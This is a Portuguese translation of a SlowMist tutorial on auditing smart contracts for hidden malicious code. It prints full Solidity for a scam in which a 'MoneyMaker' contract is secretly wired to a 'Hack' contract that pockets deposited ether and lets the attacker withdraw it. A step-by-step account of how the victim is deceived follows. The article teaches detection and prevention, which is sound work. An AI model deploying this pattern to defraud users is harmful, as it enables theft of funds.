Skip to content

Introdução à Auditoria de Segurança de Contrato Inteligente: Identificação de Código Malicioso Oculto

Introdução à Auditoria de Segurança de Contrato Inteligente: Identificação de Código Malicioso Oculto

Image description

Contexto

Neste artigo, vamos orientá-lo sobre como identificar códigos maliciosos escondidos em contratos.

Conhecimento prévio

Lembra-se de quando falamos sobre a implantação de contratos de ataque, em edições anteriores? Mencionamos que o endereço do contrato alvo é passado e que as funções do contrato alvo podem ser chamadas de dentro do contrato de ataque. Alguns invasores usam isso para enganar suas vítimas. Por exemplo, eles podem implantar o contrato A e dizer a sua vítima que o endereço do contrato B será passado durante a implantação do contrato A e que o contrato B é de código aberto. Entretanto, na realidade, o endereço do contrato C é passado durante a implantação do contrato A. Se a vítima confia que não verificaram a transação que implantou o contrato A, o invasor escondeu com sucesso seu código malicioso no contrato C. Este conceito é ilustrado na figura a seguir:

Image description

A maneira como o usuário pensa que o caminho da chamada funciona:

Eles implantam o contrato A e passam o endereço do contrato B, de modo que o caminho da chamada é o esperado.

Mas na realidade, o caminho da chamada real é:

Eles implantam o contrato A e passam o endereço do contrato C. Portanto, o caminho da chamada é inesperado.

Para entender melhor este scam (esquema ilegal), vamos dar uma olhada em um exemplo simples:

Código Malicioso

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;
contract MoneyMaker {    Vault vault;
   constructor(address _vault) {        vault = Vault(payable(_vault));    }
   function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");
       uint256 amount = msg.value * 2;
       (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");
       vault.transfer(recipient, amount);    }}
contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;
   constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }
   modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }
   modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }
   function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }
   function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");
       (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }
   function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }
   receive() external payable {}
   fallback() external payable {}}
//Este código está escondido em um arquivo filecontract Hack separado {    event taunt(string message);    address private evil;
   constructor(address _evil) {        evil = _evil;    }
   modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }
   function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }
   function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }
   receive() external payable {}
   fallback() external payable {}}

Análise da Fraude

Como podemos ver no código acima, há três contratos envolvidos. Para entender melhor os papéis de cada contrato, podemos usar nossos conhecimentos pré-existentes para distingui-los da seguinte forma:

O contrato denominado "MoneyMaker" representa o contrato A.

O contrato denominado "Vault" representa o contrato B.

O contrato denominado "Hack" representa o contrato C.

Portanto, o caminho de chamada que o usuário espera é:

MoneyMaker -> Vault

Entretanto, o caminho de chamada real é:

MoneyMaker -> Hack

Isto significa que o usuário está sendo levado a acreditar que está interagindo com o contrato B, quando na realidade, está interagindo com o contrato C, que é o que contém o código malicioso.

Vamos dar uma olhada em como o invasor executa o scam:

  1. O invasor implanta o contrato Vault(B) e reserva um fundo de 100 ETH nele e depois abre o contrato Vault(B) na Blockchain.
  2. O invasor implanta o contrato malicioso Hack(C).
  3. O invasor divulga a notícia de que eles estarão implantando um contrato de código-fonte aberto chamado MoneyMaker(A). Durante a implantação, o endereço do contrato Vault(B) será passado e a função Vault.setMacker() será chamada para definir o papel do criador para o endereço do contrato MoneyMaker. Qualquer pessoa que chamar a função MoneyMaker.makeMoney() e colocar no mínimo 1 ETH no contrato receberá o dobro da devolução do ether.
  4. Bob ouve as notícias e fica sabendo da existência do contrato MoneyMaker. Ele lê os códigos dos contratos MoneyMaker(A) e Vault(B) e verifica o saldo no contrato Vault(B). Ele descobre que a lógica é exatamente como o invasor disse. Ele não suspeita do invasor e não verifica a transação de implantação da MoneyMaker(A)
  5. Bob chama a função MoneyMaker.makeMoney() e coloca seu patrimônio líquido total de 20 ETH no contrato. Enquanto espera receber 40 ETH do contrato Vault(B), ele recebe a mensagem "Haha, seu ether é meu!", pois o invasor conseguiu enganá-lo ao implantar o contrato malicioso Hack(C) e passar seu endereço ao invés do endereço do contrato Vault(B) durante a implantação do contrato MoneyMaker(A).

Este scam é simples, mas comum. O atacante implanta o contrato MoneyMaker e em vez de passar o endereço do contrato Vault, eles passam o endereço do contrato Hack. Assim, quando Bob chama a função MoneyMaker.makeMoney(), ele não chama a função Vault.transfer() como ele esperava, que devolveria o dobro do ether, mas chama a função Hack.transfer() que aciona um evento "Haha, seu ether é meu! Finalmente, o Evil (o Mal) chama a função Vault.withrow() para transferir os 100 ETH no contrato Vault e transfere os 20 ETH transferidos pelo Bob através da função Hack.withrow().

Desta forma, o invasor é capaz de roubar o ether de Bob, induzindo-o a pensar que ele está interagindo com um contrato legítimo, enquanto na realidade ele está interagindo com um contrato malicioso. Este scam é bem sucedido porque o invasor escondeu o contrato malicioso por trás de uma fachada de legitimidade e confiança e Bob não verifica o endereço real do contrato com o qual ele está interagindo.

Conselhos de prevenção

Na floresta escura da Ethereum, a única coisa em que você pode confiar é em si mesmo. Não confie cegamente em nenhum contrato. Os registros de transações na blockchain não podem ser alterados, então somente verificando a transação correspondente, você mesmo pode confiar que o que a outra parte está dizendo é verdade. Sempre faça sua própria pesquisa e a devida diligência antes de fazer quaisquer transações ou interações na rede Ethereum.

Este artigo foi escrito por SlowMist e traduzido por Fátima Lima. O original pode ser lido aqui.